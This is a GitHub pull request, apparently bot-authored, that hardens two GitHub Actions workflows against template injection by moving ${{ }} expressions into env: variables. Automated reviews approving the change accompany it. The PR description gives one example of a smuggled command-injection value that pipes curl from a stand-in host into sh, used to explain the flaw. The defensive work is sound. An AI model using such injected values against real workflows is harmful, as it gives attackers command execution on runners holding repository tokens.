Pass workflow expressions through the environment - #1241
hf-security-analysis[bot] wants to merge 1 commit into
Conversation
A `${{ }}` expression inside `run:` is substituted into the script
before the shell reads it, so whoever controls its value controls
part of the command. Binding it in `env:` makes it data.
|
The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update. |
There was a problem hiding this comment.
APPROVE at a5a15bef
Correct template-injection hardening: bind ${{ … }} in env: and read shell vars so untrusted/workflow inputs stay data, not script text. Touches only deploy-hf-env.yml + openspiel_base_build.yml — not publish-pypi.yml / publish-testpypi.yml (and the PR correctly leaves the quoted TestPyPI case for a human). No package cargo.
Timing: prefer merge after tomorrow’s v0.6.0 tag so we don’t churn another exact-main/#1211 CI cycle on release day. Safe either way — if it lands first, refresh #1211 only (no TestPyPI republish).
Sent by Cursor Automation: Release
There was a problem hiding this comment.
Alignment Review Report
PR #1241 — "Pass workflow expressions through the environment" (security/expressions-into-env, hf-security-analysis[bot]). Same automated hardening series as #1239 (token scoping) and #1240 (SHA-pinning); this one applies GitHub's recommended script-injection mitigation — moving ${{ … }} workflow expressions out of inline run: shell interpolation into env: variables that the script references as quoted shell variables.
Automated Checks
- Lint: N/A (PASS for scope) — diff is GitHub Actions YAML only (no
src/,tests/, orenvs/Python). Thelint.shhook (ruff/usort over Python) doesn't cover.github/, anduvisn't preinstalled on the review VM.git diff --name-only <base>..<head> -- '*.py'is empty. - Debug code: CLEAN —
check-debug.shscanssrc/only; every hit it reports is pre-existing and unrelated to this PR's two files. - YAML sanity: PASS — both files parse via
yaml.safe_load. - Merge: CLEAN —
git merge-tree --write-tree <base> <head>exits 0 (no conflict withmain).
What the change does (verified correct + behavior-preserving)
deploy-hf-env.yml (Deploy selected environments): the six workflow_dispatch inputs (hf_namespace, openenv_version, collection_namespace, private, skip_collection, dry_run) are now defined in the step env: block and referenced as quoted shell vars ("${GITHUB_EVENT_INPUTS_…}") instead of inline ${{ github.event.inputs.* }}. Verified: every env: name maps 1:1 to its use in the script (no typos; with set -euo pipefail a mismatch fails loudly); no ${{ … }} interpolation remains inside either file's run: blocks; values flow identically, so behavior is preserved while the injection/word-split surface of the inline form is removed.
openspiel_base_build.yml (Build summary): ${{ steps.meta-openspiel-base.outputs.tags }} moved to env: STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS, referenced inside a double-quoted echo. That value is produced by docker/metadata-action (not user input), so this is consistency hardening rather than a fix for an exploitable vector.
Open RFCs Context
Active RFCs — In Review: 000, 001, 002, 003, 005, 008, 012; Draft: 010, 011; 004 (Rubrics) has no status header. None govern CI / GitHub Actions, so no RFC is implicated by a workflow-only change.
Tier 1: Fixes Required
None. No lint/debug/syntax/type issues in the changed files, and no credential exposure — HF_TOKEN/GITHUB_TOKEN remain secrets.*-sourced and are never echoed; echo "Running: …" prints only non-secret inputs. The change is security-positive.
Tier 2: Alignment Discussion
Principle Conflicts
None identified. The diff touches only CI plumbing — no runtime API, MCP/WebSocket boundary, reward computation, client-server separation, or container-isolation surface. It aligns with the repo's container-isolation/security + reproducibility posture (PRINCIPLES.md) and the recent hardening series.
RFC Conflicts
None identified.
Minor / non-blocking notes
- Reserved
GITHUB_env-var prefix (deploy-hf-env.yml:70-75). The six new names start withGITHUB_, which GitHub reserves for built-in variables. In an inlineenv:block these specific names aren't among the ~35 defaultGITHUB_*vars, so they work today — but the prefix is discouraged (and the same names are rejected outright if ever promoted to repository/environment variables or secrets). The file already uses the un-prefixedENVS_CSV_INPUT(line 69) for exactly this; matching that convention (e.g.HF_NAMESPACE_INPUT,OPENENV_VERSION_INPUT, …) would be more robust and consistent. - Completeness (informational). After this PR, the only
${{ … }}still interpolated insiderun:blocks repo-wide are format-constrained or trusted values — commit SHAs (test.yml:41-42), the repo's ownmatrix.python-version(test.yml:129,134), and a job output (publish-testpypi.yml:159,170) — none of which are free-text attacker input. The higher-risk surface is already clean; a maintainer may still choose to env-indirect these for full consistency.
Suggested reviewers
- @burtenshaw — owns
.github/workflows +dependabot.yml; last human author ofdeploy-hf-env.yml. - cc @sergiopaniego — last human author of
openspiel_base_build.yml.
Summary
- 0 mechanical (Tier 1) issues to fix
- 0 alignment / principle points for human review
- 0 RFC conflicts
- Net: a correct, behavior-preserving, security-positive hardening. One minor non-blocking naming nit (reserved
GITHUB_prefix) + an informational completeness note.
Sent by Cursor Automation: Pre-review
| GITHUB_EVENT_INPUTS_HF_NAMESPACE: ${{ github.event.inputs.hf_namespace }} | ||
| GITHUB_EVENT_INPUTS_OPENENV_VERSION: ${{ github.event.inputs.openenv_version }} | ||
| GITHUB_EVENT_INPUTS_COLLECTION_NAMESPACE: ${{ github.event.inputs.collection_namespace }} | ||
| GITHUB_EVENT_INPUTS_PRIVATE: ${{ github.event.inputs.private }} | ||
| GITHUB_EVENT_INPUTS_SKIP_COLLECTION: ${{ github.event.inputs.skip_collection }} | ||
| GITHUB_EVENT_INPUTS_DRY_RUN: ${{ github.event.inputs.dry_run }} |
There was a problem hiding this comment.
Correct application of GitHub's recommended script-injection mitigation: these workflow_dispatch inputs are now referenced below as quoted shell variables ("${GITHUB_EVENT_INPUTS_…}") instead of being interpolated inline, and each name maps 1:1 to its use in the run: script (with set -u, a typo would fail loudly). Behavior is preserved.
Minor / non-blocking: the GITHUB_ prefix is reserved by GitHub for built-in variables. These specific names aren't among the default GITHUB_* vars, so they work in an inline env: block — but the prefix is discouraged, and names like these are rejected outright if ever moved to repository/environment variables or secrets. This file already uses the un-prefixed ENVS_CSV_INPUT (line 69) for the same purpose; matching that convention (e.g. HF_NAMESPACE_INPUT, OPENENV_VERSION_INPUT, …) would be more robust and consistent.
| run: | | ||
| echo "✅ OpenSpiel base image built and pushed successfully!" | ||
| echo "📦 Image: ${{ steps.meta-openspiel-base.outputs.tags }}" | ||
| echo "📦 Image: ${STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS}" |
There was a problem hiding this comment.
Behavior-preserving and correct — the tag is now referenced as a quoted shell variable backed by the env: entry below. Since steps.meta-openspiel-base.outputs.tags is generated by docker/metadata-action (not user input), this is consistency hardening rather than a fix for an exploitable vector. The env var name here avoids the reserved GITHUB_ prefix, so no change needed.
There was a problem hiding this comment.
Reviewed exact head a5a15bef.
The seven workflow expressions map one-to-one to environment variables, every shell read is quoted, and the bash array keeps each workflow input as a single argument. Neither changed run block contains an inline workflow expression.
The two workflow files have not changed on main since this PR branched. GitHub reports the head as mergeable, git diff --check passes, and CI is green at this head. The branch is behind main, but updating it is procedural rather than a correctness blocker.
I found no issue with the workflow hardening and no affected OpenEnv runtime invariant or RFC.


Workflow hardening
Expressions moved into
env:run: echo "${{ github.event.issue.title }}"is not a variable reference. Theexpression is substituted into the script before the shell reads it, so an
issue titled
"; curl evil.sh | sh; #becomes part of the command — on arunner holding this repository's
GITHUB_TOKEN, and on any${{ }}acontributor can set.
Binding the expression in the step's
env:block and reading it as a shellvariable makes the value data instead of code. The step runs the same commands
on the same input; the input can no longer become a command.
.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_COLLECTION_NAMESPACE${{ github.event.inputs.collection_namespace }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_DRY_RUN${{ github.event.inputs.dry_run }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_HF_NAMESPACE${{ github.event.inputs.hf_namespace }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_OPENENV_VERSION${{ github.event.inputs.openenv_version }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_PRIVATE${{ github.event.inputs.private }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_SKIP_COLLECTION${{ github.event.inputs.skip_collection }}.github/workflows/openspiel_base_build.ymlSTEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS${{ steps.meta-openspiel-base.outputs.tags }}Left for a human
These files still carry a template injection. The automatic repair was refused
because the rewrite would not have been faithful — applying it anyway would have
left a workflow that runs, looks fixed and quietly reads the wrong value.
.github/workflows/publish-testpypi.yml${NAME}would not be expandedNote
Low Risk
CI-only workflow edits with no application or runtime logic changes; reduces security risk rather than introducing new behavior.
Overview
Hardens two GitHub Actions workflows by stopping inline
${{ }}substitution insiderunshell scripts, where untrusted workflow inputs could be interpreted as shell commands.In
deploy-hf-env.yml, Hugging Face deploy flags (hf_namespace,openenv_version,collection_namespace,private,skip_collection,dry_run) are now set on the stepenv:block and referenced as normal shell variables when building theprepare_hf_deployment.shcommand.In
openspiel_base_build.yml, the build summary step does the same forsteps.meta-openspiel-base.outputs.tags, so the printed image tag is data rather than pre-expanded script text.Behavior is unchanged for legitimate inputs; the goal is to close template-injection risk on runners that hold repo secrets.
Reviewed by Cursor Bugbot for commit a5a15be. Bugbot is set up for automated code reviews on this repo. Configure here.